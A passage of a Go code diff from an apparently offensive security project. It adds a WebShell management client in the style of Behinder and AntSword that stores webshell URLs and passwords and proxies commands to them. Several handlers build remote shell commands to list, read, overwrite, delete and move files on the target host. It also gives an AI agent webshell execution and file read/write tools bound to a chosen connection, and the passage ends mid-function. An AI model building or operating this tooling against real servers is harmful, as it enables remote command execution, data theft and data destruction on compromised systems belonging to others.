db.logger.Warn("解析过程详情数据失败", zap.Error(err))
}
}
detailsJSON[j] = map[string]interface{}{
"id": detail.ID,
"messageId": detail.MessageID,
"conversationId": detail.ConversationID,
"eventType": detail.EventType,
"message": detail.Message,
"data": data,
"createdAt": detail.CreatedAt,
}
}
conv.Messages[i].ProcessDetails = detailsJSON
}
}
return &conv, nil
}
// WebShellConversationItem 用于侧边栏列表,不含消息
type WebShellConversationItem struct {
ID string `json:"id"`
Title string `json:"title"`
UpdatedAt time.Time `json:"updatedAt"`
}
// ListConversationsByWebshellConnectionID 列出该 WebShell 连接下的所有对话(按更新时间倒序),供侧边栏展示
func (db *DB) ListConversationsByWebshellConnectionID(connectionID string) ([]WebShellConversationItem, error) {
if connectionID == "" {
return nil, nil
}
rows, err := db.Query(
"SELECT id, title, updated_at FROM conversations WHERE webshell_connection_id = ? ORDER BY updated_at DESC",
connectionID,
)
if err != nil {
return nil, fmt.Errorf("查询对话列表失败: %w", err)
}
defer rows.Close()
var list []WebShellConversationItem
for rows.Next() {
var item WebShellConversationItem
var updatedAt string
if err := rows.Scan(&item.ID, &item.Title, &updatedAt); err != nil {
continue
}
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
item.UpdatedAt = t
} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
item.UpdatedAt = t
} else {
item.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
list = append(list, item)
}
return list, rows.Err()
}
// GetConversation 获取对话
func (db *DB) GetConversation(id string) (*Conversation, error) {
var conv Conversation
+33
View File
@@ -227,6 +227,19 @@ func (db *DB) initTables() error {
FOREIGN KEY (queue_id) REFERENCES batch_task_queues(id) ON DELETE CASCADE
);`
// 创建 WebShell 连接表
createWebshellConnectionsTable := `
CREATE TABLE IF NOT EXISTS webshell_connections (
id TEXT PRIMARY KEY,
url TEXT NOT NULL,
password TEXT NOT NULL DEFAULT '',
type TEXT NOT NULL DEFAULT 'php',
method TEXT NOT NULL DEFAULT 'post',
cmd_param TEXT NOT NULL DEFAULT '',
remark TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);`
// 创建索引
createIndexes := `
CREATE INDEX IF NOT EXISTS idx_messages_conversation_id ON messages(conversation_id);
@@ -253,6 +266,7 @@ func (db *DB) initTables() error {
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_created_at ON batch_task_queues(created_at);
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
`
if _, err := db.Exec(createConversationsTable); err != nil {
@@ -311,6 +325,10 @@ func (db *DB) initTables() error {
return fmt.Errorf("创建batch_tasks表失败: %w", err)
}
if _, err := db.Exec(createWebshellConnectionsTable); err != nil {
return fmt.Errorf("创建webshell_connections表失败: %w", err)
}
// 为已有表添加新字段(如果不存在)- 必须在创建索引之前
if err := db.migrateConversationsTable(); err != nil {
db.logger.Warn("迁移conversations表失败", zap.Error(err))
@@ -397,6 +415,21 @@ func (db *DB) migrateConversationsTable() error {
}
}
// 检查 webshell_connection_id 字段是否存在(WebShell AI 助手对话关联)
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('conversations') WHERE name='webshell_connection_id'").Scan(&count)
if err != nil {
if _, addErr := db.Exec("ALTER TABLE conversations ADD COLUMN webshell_connection_id TEXT"); addErr != nil {
errMsg := strings.ToLower(addErr.Error())
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
db.logger.Warn("添加webshell_connection_id字段失败", zap.Error(addErr))
}
}
} else if count == 0 {
if _, err := db.Exec("ALTER TABLE conversations ADD COLUMN webshell_connection_id TEXT"); err != nil {
db.logger.Warn("添加webshell_connection_id字段失败", zap.Error(err))
}
}
return nil
}
+112
View File
@@ -0,0 +1,112 @@
package database
import (
"database/sql"
"time"
"go.uber.org/zap"
)
// WebShellConnection WebShell 连接配置
type WebShellConnection struct {
ID string `json:"id"`
URL string `json:"url"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"`
CmdParam string `json:"cmdParam"`
Remark string `json:"remark"`
CreatedAt time.Time `json:"createdAt"`
}
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
query := `
SELECT id, url, password, type, method, cmd_param, remark, created_at
FROM webshell_connections
ORDER BY created_at DESC
`
rows, err := db.Query(query)
if err != nil {
db.logger.Error("查询 WebShell 连接列表失败", zap.Error(err))
return nil, err
}
defer rows.Close()
var list []WebShellConnection
for rows.Next() {
var c WebShellConnection
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
if err != nil {
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
continue
}
list = append(list, c)
}
return list, rows.Err()
}
// GetWebshellConnection 根据 ID 获取一条连接
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
query := `
SELECT id, url, password, type, method, cmd_param, remark, created_at
FROM webshell_connections WHERE id = ?
`
var c WebShellConnection
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
if err == sql.ErrNoRows {
return nil, nil
}
if err != nil {
db.logger.Error("查询 WebShell 连接失败", zap.Error(err), zap.String("id", id))
return nil, err
}
return &c, nil
}
// CreateWebshellConnection 创建 WebShell 连接
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
query := `
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
`
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.CreatedAt)
if err != nil {
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
return err
}
return nil
}
// UpdateWebshellConnection 更新 WebShell 连接
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
query := `
UPDATE webshell_connections
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?
WHERE id = ?
`
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.ID)
if err != nil {
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
return err
}
affected, _ := result.RowsAffected()
if affected == 0 {
return sql.ErrNoRows
}
return nil
}
// DeleteWebshellConnection 删除 WebShell 连接
func (db *DB) DeleteWebshellConnection(id string) error {
result, err := db.Exec(`DELETE FROM webshell_connections WHERE id = ?`, id)
if err != nil {
db.logger.Error("删除 WebShell 连接失败", zap.Error(err), zap.String("id", id))
return err
}
affected, _ := result.RowsAffected()
if affected == 0 {
return sql.ErrNoRows
}
return nil
}
+124 -21
View File
@@ -121,10 +121,11 @@ type ChatAttachment struct {
// ChatRequest 聊天请求
type ChatRequest struct {
Message string `json:"message" binding:"required"`
ConversationID string `json:"conversationId,omitempty"`
Role string `json:"role,omitempty"` // 角色名称
Attachments []ChatAttachment `json:"attachments,omitempty"`
Message string `json:"message" binding:"required"`
ConversationID string `json:"conversationId,omitempty"`
Role string `json:"role,omitempty"` // 角色名称
Attachments []ChatAttachment `json:"attachments,omitempty"`
WebShellConnectionID string `json:"webshellConnectionId,omitempty"` // WebShell 管理 - AI 助手:当前选中的连接 ID,仅使用 webshell_* 工具
}
const (
@@ -316,7 +317,34 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
finalMessage := req.Message
var roleTools []string // 角色配置的工具列表
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if req.Role != "" && req.Role != "默认" {
// WebShell AI 助手模式:绑定当前连接,仅开放 webshell_* 工具并注入 connection_id
if req.WebShellConnectionID != "" {
conn, err := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
if err != nil || conn == nil {
h.logger.Warn("WebShell AI 助手:未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(err))
c.JSON(http.StatusBadRequest, gin.H{"error": "未找到该 WebShell 连接"})
return
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步:若仅为问候、闲聊或简单问题,直接简短回复即可,不必调用工具;当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
roleTools = []string{
builtin.ToolWebshellExec,
builtin.ToolWebshellFileList,
builtin.ToolWebshellFileRead,
builtin.ToolWebshellFileWrite,
builtin.ToolRecordVulnerability,
builtin.ToolListKnowledgeRiskTypes,
builtin.ToolSearchKnowledgeBase,
builtin.ToolListSkills,
builtin.ToolReadSkill,
}
roleSkills = nil
} else if req.Role != "" && req.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
// 应用用户提示词
@@ -634,8 +662,16 @@ func (h *AgentHandler) createProgressCallback(conversationID, assistantMessageID
}
}
// 保存过程详情到数据库(排除responsedone事件,它们会在后面单独处理)
if assistantMessageID != "" && eventType != "response" && eventType != "done" {
// 保存过程详情到数据库(排除response/done事件,它们会在后面单独处理)
// 另外:response_start/response_delta 是模型流式增量,保存会导致过程详情膨胀,因此不落库。
if assistantMessageID != "" &&
eventType != "response" &&
eventType != "done" &&
eventType != "response_start" &&
eventType != "response_delta" &&
eventType != "tool_result_delta" &&
eventType != "thinking_stream_start" &&
eventType != "thinking_stream_delta" {
if err := h.db.AddProcessDetail(assistantMessageID, conversationID, eventType, message, data); err != nil {
h.logger.Warn("保存过程详情失败", zap.Error(err), zap.String("eventType", eventType))
}
@@ -675,8 +711,53 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 发送初始事件
// 用于跟踪客户端是否已断开连接
clientDisconnected := false
// 用于快速确认模型是否真的产生了流式 delta
var responseDeltaCount int
var responseStartLogged bool
sendEvent := func(eventType, message string, data interface{}) {
if eventType == "response_start" {
responseDeltaCount = 0
responseStartLogged = true
h.logger.Info("SSE: response_start",
zap.Int("conversationIdPresent", func() int {
if m, ok := data.(map[string]interface{}); ok {
if v, ok2 := m["conversationId"]; ok2 && v != nil && fmt.Sprint(v) != "" {
return 1
}
}
return 0
}()),
zap.String("messageGeneratedBy", func() string {
if m, ok := data.(map[string]interface{}); ok {
if v, ok2 := m["messageGeneratedBy"]; ok2 {
if s, ok3 := v.(string); ok3 {
return s
}
return fmt.Sprint(v)
}
}
return ""
}()),
)
} else if eventType == "response_delta" {
responseDeltaCount++
// 只打前几条,避免刷屏
if responseStartLogged && responseDeltaCount <= 3 {
h.logger.Info("SSE: response_delta",
zap.Int("index", responseDeltaCount),
zap.Int("deltaLen", len(message)),
zap.String("deltaPreview", func() string {
p := strings.ReplaceAll(message, "\n", "\\n")
if len(p) > 80 {
return p[:80] + "..."
}
return p
}()),
)
}
}
// 如果客户端已断开,不再发送事件
if clientDisconnected {
return
@@ -712,11 +793,17 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
}
}
// 如果没有对话ID,创建新对话
// 如果没有对话ID,创建新对话(WebShell 助手模式下关联连接 ID 以便持久化展示)
conversationID := req.ConversationID
if conversationID == "" {
title := safeTruncateString(req.Message, 50)
conv, err := h.db.CreateConversation(title)
var conv *database.Conversation
var err error
if req.WebShellConnectionID != "" {
conv, err = h.db.CreateConversationWithWebshell(strings.TrimSpace(req.WebShellConnectionID), title)
} else {
conv, err = h.db.CreateConversation(title)
}
if err != nil {
h.logger.Error("创建对话失败", zap.Error(err))
sendEvent("error", "创建对话失败: "+err.Error(), nil)
@@ -769,7 +856,32 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 应用角色用户提示词和工具配置
finalMessage := req.Message
var roleTools []string // 角色配置的工具列表
if req.Role != "" && req.Role != "默认" {
var roleSkills []string
if req.WebShellConnectionID != "" {
conn, errConn := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
if errConn != nil || conn == nil {
h.logger.Warn("WebShell AI 助手:未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(errConn))
sendEvent("error", "未找到该 WebShell 连接", nil)
return
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步:若仅为问候、闲聊或简单问题,直接简短回复即可,不必调用工具;当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
roleTools = []string{
builtin.ToolWebshellExec,
builtin.ToolWebshellFileList,
builtin.ToolWebshellFileRead,
builtin.ToolWebshellFileWrite,
builtin.ToolRecordVulnerability,
builtin.ToolListKnowledgeRiskTypes,
builtin.ToolSearchKnowledgeBase,
builtin.ToolListSkills,
builtin.ToolReadSkill,
}
} else if req.Role != "" && req.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
// 应用用户提示词
@@ -788,6 +900,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
}
// 注意:角色配置的skills不再硬编码注入,AI可以通过list_skills和read_skill工具按需调用
if len(role.Skills) > 0 {
roleSkills = role.Skills
h.logger.Info("角色配置了skillsAI可通过工具按需调用", zap.String("role", req.Role), zap.Int("skillCount", len(role.Skills)), zap.Strings("skills", role.Skills))
}
}
@@ -886,17 +999,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 执行Agent Loop,传入独立的上下文,确保任务不会因客户端断开而中断(使用包含角色提示词的finalMessage和角色工具列表)
sendEvent("progress", "正在分析您的请求...", nil)
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if req.Role != "" && req.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
if len(role.Skills) > 0 {
roleSkills = role.Skills
}
}
}
}
// 注意:roleSkills 已在上方根据 req.Role 或 WebShell 模式设置
result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills)
if err != nil {
h.logger.Error("Agent Loop执行失败", zap.Error(err))
+21
View File
@@ -28,6 +28,9 @@ type KnowledgeToolRegistrar func() error
// VulnerabilityToolRegistrar 漏洞工具注册器接口
type VulnerabilityToolRegistrar func() error
// WebshellToolRegistrar WebShell 工具注册器接口(ApplyConfig 时重新注册)
type WebshellToolRegistrar func() error
// SkillsToolRegistrar Skills工具注册器接口
type SkillsToolRegistrar func() error
@@ -60,6 +63,7 @@ type ConfigHandler struct {
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
knowledgeToolRegistrar KnowledgeToolRegistrar // 知识库工具注册器(可选)
vulnerabilityToolRegistrar VulnerabilityToolRegistrar // 漏洞工具注册器(可选)
webshellToolRegistrar WebshellToolRegistrar // WebShell 工具注册器(可选)
skillsToolRegistrar SkillsToolRegistrar // Skills工具注册器(可选)
retrieverUpdater RetrieverUpdater // 检索器更新器(可选)
knowledgeInitializer KnowledgeInitializer // 知识库初始化器(可选)
@@ -120,6 +124,13 @@ func (h *ConfigHandler) SetVulnerabilityToolRegistrar(registrar VulnerabilityToo
h.vulnerabilityToolRegistrar = registrar
}
// SetWebshellToolRegistrar 设置 WebShell 工具注册器
func (h *ConfigHandler) SetWebshellToolRegistrar(registrar WebshellToolRegistrar) {
h.mu.Lock()
defer h.mu.Unlock()
h.webshellToolRegistrar = registrar
}
// SetSkillsToolRegistrar 设置Skills工具注册器
func (h *ConfigHandler) SetSkillsToolRegistrar(registrar SkillsToolRegistrar) {
h.mu.Lock()
@@ -792,6 +803,16 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
}
}
// 重新注册 WebShell 工具(内置工具,必须注册)
if h.webshellToolRegistrar != nil {
h.logger.Info("重新注册 WebShell 工具")
if err := h.webshellToolRegistrar(); err != nil {
h.logger.Error("重新注册 WebShell 工具失败", zap.Error(err))
} else {
h.logger.Info("WebShell 工具已重新注册")
}
}
// 重新注册Skills工具(内置工具,必须注册)
if h.skillsToolRegistrar != nil {
h.logger.Info("重新注册Skills工具")
+626
View File
@@ -0,0 +1,626 @@
package handler
import (
"bytes"
"database/sql"
"io"
"net/http"
"net/url"
"strings"
"time"
"cyberstrike-ai/internal/database"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"go.uber.org/zap"
)
// WebShellHandler 代理执行 WebShell 命令(类似冰蝎/蚁剑),避免前端跨域并统一构建请求
type WebShellHandler struct {
logger *zap.Logger
client *http.Client
db *database.DB
}
// NewWebShellHandler 创建 WebShell 处理器,db 可为 nil(连接配置接口将不可用)
func NewWebShellHandler(logger *zap.Logger, db *database.DB) *WebShellHandler {
return &WebShellHandler{
logger: logger,
client: &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{DisableKeepAlives: false},
},
db: db,
}
}
// CreateConnectionRequest 创建连接请求
type CreateConnectionRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"`
CmdParam string `json:"cmd_param"`
Remark string `json:"remark"`
}
// UpdateConnectionRequest 更新连接请求
type UpdateConnectionRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"`
CmdParam string `json:"cmd_param"`
Remark string `json:"remark"`
}
// ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections
func (h *WebShellHandler) ListConnections(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
list, err := h.db.ListWebshellConnections()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if list == nil {
list = []database.WebShellConnection{}
}
c.JSON(http.StatusOK, list)
}
// CreateConnection 创建 WebShell 连接(POST /api/webshell/connections
func (h *WebShellHandler) CreateConnection(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
var req CreateConnectionRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
if req.URL == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"})
return
}
if _, err := url.Parse(req.URL); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
return
}
method := strings.ToLower(strings.TrimSpace(req.Method))
if method != "get" && method != "post" {
method = "post"
}
shellType := strings.ToLower(strings.TrimSpace(req.Type))
if shellType == "" {
shellType = "php"
}
conn := &database.WebShellConnection{
ID: "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12],
URL: req.URL,
Password: strings.TrimSpace(req.Password),
Type: shellType,
Method: method,
CmdParam: strings.TrimSpace(req.CmdParam),
Remark: strings.TrimSpace(req.Remark),
CreatedAt: time.Now(),
}
if err := h.db.CreateWebshellConnection(conn); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, conn)
}
// UpdateConnection 更新 WebShell 连接(PUT /api/webshell/connections/:id
func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
var req UpdateConnectionRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
if req.URL == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"})
return
}
if _, err := url.Parse(req.URL); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
return
}
method := strings.ToLower(strings.TrimSpace(req.Method))
if method != "get" && method != "post" {
method = "post"
}
shellType := strings.ToLower(strings.TrimSpace(req.Type))
if shellType == "" {
shellType = "php"
}
conn := &database.WebShellConnection{
ID: id,
URL: req.URL,
Password: strings.TrimSpace(req.Password),
Type: shellType,
Method: method,
CmdParam: strings.TrimSpace(req.CmdParam),
Remark: strings.TrimSpace(req.Remark),
}
if err := h.db.UpdateWebshellConnection(conn); err != nil {
if err == sql.ErrNoRows {
c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
updated, _ := h.db.GetWebshellConnection(id)
if updated != nil {
c.JSON(http.StatusOK, updated)
} else {
c.JSON(http.StatusOK, conn)
}
}
// DeleteConnection 删除 WebShell 连接(DELETE /api/webshell/connections/:id
func (h *WebShellHandler) DeleteConnection(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
if err := h.db.DeleteWebshellConnection(id); err != nil {
if err == sql.ErrNoRows {
c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"ok": true})
}
// GetAIHistory 获取指定 WebShell 连接的 AI 助手对话历史(GET /api/webshell/connections/:id/ai-history
func (h *WebShellHandler) GetAIHistory(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
conv, err := h.db.GetConversationByWebshellConnectionID(id)
if err != nil {
h.logger.Warn("获取 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err))
c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}})
return
}
if conv == nil {
c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}})
return
}
c.JSON(http.StatusOK, gin.H{"conversationId": conv.ID, "messages": conv.Messages})
}
// ListAIConversations 列出该 WebShell 连接下的所有 AI 对话(供侧边栏)
func (h *WebShellHandler) ListAIConversations(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
return
}
id := strings.TrimSpace(c.Param("id"))
if id == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
return
}
list, err := h.db.ListConversationsByWebshellConnectionID(id)
if err != nil {
h.logger.Warn("列出 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err))
c.JSON(http.StatusOK, []database.WebShellConversationItem{})
return
}
if list == nil {
list = []database.WebShellConversationItem{}
}
c.JSON(http.StatusOK, list)
}
// ExecRequest 执行命令请求(前端传入连接信息 + 命令)
type ExecRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"` // php, asp, aspx, jsp, custom
Method string `json:"method"` // GET 或 POST,空则默认 POST
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
Command string `json:"command" binding:"required"`
}
// ExecResponse 执行命令响应
type ExecResponse struct {
OK bool `json:"ok"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
HTTPCode int `json:"http_code,omitempty"`
}
// FileOpRequest 文件操作请求
type FileOpRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"` // GET 或 POST,空则默认 POST
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
Action string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk
Path string `json:"path"`
TargetPath string `json:"target_path"` // rename 时目标路径
Content string `json:"content"` // write/upload 时使用
ChunkIndex int `json:"chunk_index"` // upload_chunk 时,0 表示首块
}
// FileOpResponse 文件操作响应
type FileOpResponse struct {
OK bool `json:"ok"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
func (h *WebShellHandler) Exec(c *gin.Context) {
var req ExecRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
req.Command = strings.TrimSpace(req.Command)
if req.URL == "" || req.Command == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
return
}
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"})
return
}
useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET"
cmdParam := strings.TrimSpace(req.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
if useGET {
targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, req.Command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(req.Type, req.Password, cmdParam, req.Command)
httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
h.logger.Warn("webshell exec NewRequest", zap.Error(err))
c.JSON(http.StatusInternalServerError, ExecResponse{OK: false, Error: err.Error()})
return
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
h.logger.Warn("webshell exec Do", zap.String("url", req.URL), zap.Error(err))
c.JSON(http.StatusOK, ExecResponse{OK: false, Error: err.Error()})
return
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
output := string(out)
httpCode := resp.StatusCode
c.JSON(http.StatusOK, ExecResponse{
OK: resp.StatusCode == http.StatusOK,
Output: output,
HTTPCode: httpCode,
})
}
// buildExecBody 按常见 WebShell 约定构建 POST 体(多数使用 pass + cmd,可配置命令参数名)
func (h *WebShellHandler) buildExecBody(shellType, password, cmdParam, command string) []byte {
form := h.execParams(shellType, password, cmdParam, command)
return []byte(form.Encode())
}
// buildExecURL 构建 GET 请求的完整 URLbaseURL + ?pass=xxx&cmd=yyycmd 可配置)
func (h *WebShellHandler) buildExecURL(baseURL, shellType, password, cmdParam, command string) string {
form := h.execParams(shellType, password, cmdParam, command)
if parsed, err := url.Parse(baseURL); err == nil {
parsed.RawQuery = form.Encode()
return parsed.String()
}
return baseURL + "?" + form.Encode()
}
func (h *WebShellHandler) execParams(shellType, password, cmdParam, command string) url.Values {
shellType = strings.ToLower(strings.TrimSpace(shellType))
if shellType == "" {
shellType = "php"
}
if strings.TrimSpace(cmdParam) == "" {
cmdParam = "cmd"
}
form := url.Values{}
form.Set("pass", password)
form.Set(cmdParam, command)
return form
}
func (h *WebShellHandler) FileOp(c *gin.Context) {
var req FileOpRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.URL = strings.TrimSpace(req.URL)
req.Action = strings.ToLower(strings.TrimSpace(req.Action))
if req.URL == "" || req.Action == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
return
}
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"})
return
}
// 通过执行系统命令实现文件操作(与通用一句话兼容)
var command string
shellType := strings.ToLower(strings.TrimSpace(req.Type))
switch req.Action {
case "list":
path := strings.TrimSpace(req.Path)
if path == "" {
path = "."
}
if shellType == "asp" || shellType == "aspx" {
command = "dir " + h.escapePath(path)
} else {
command = "ls -la " + h.escapePath(path)
}
case "read":
if shellType == "asp" || shellType == "aspx" {
command = "type " + h.escapePath(strings.TrimSpace(req.Path))
} else {
command = "cat " + h.escapePath(strings.TrimSpace(req.Path))
}
case "delete":
if shellType == "asp" || shellType == "aspx" {
command = "del " + h.escapePath(strings.TrimSpace(req.Path))
} else {
command = "rm -f " + h.escapePath(strings.TrimSpace(req.Path))
}
case "write":
path := h.escapePath(strings.TrimSpace(req.Path))
command = "echo " + h.escapeForEcho(req.Content) + " > " + path
case "mkdir":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for mkdir"})
return
}
if shellType == "asp" || shellType == "aspx" {
command = "md " + h.escapePath(path)
} else {
command = "mkdir -p " + h.escapePath(path)
}
case "rename":
oldPath := strings.TrimSpace(req.Path)
newPath := strings.TrimSpace(req.TargetPath)
if oldPath == "" || newPath == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path and target_path are required for rename"})
return
}
if shellType == "asp" || shellType == "aspx" {
command = "move /y " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
} else {
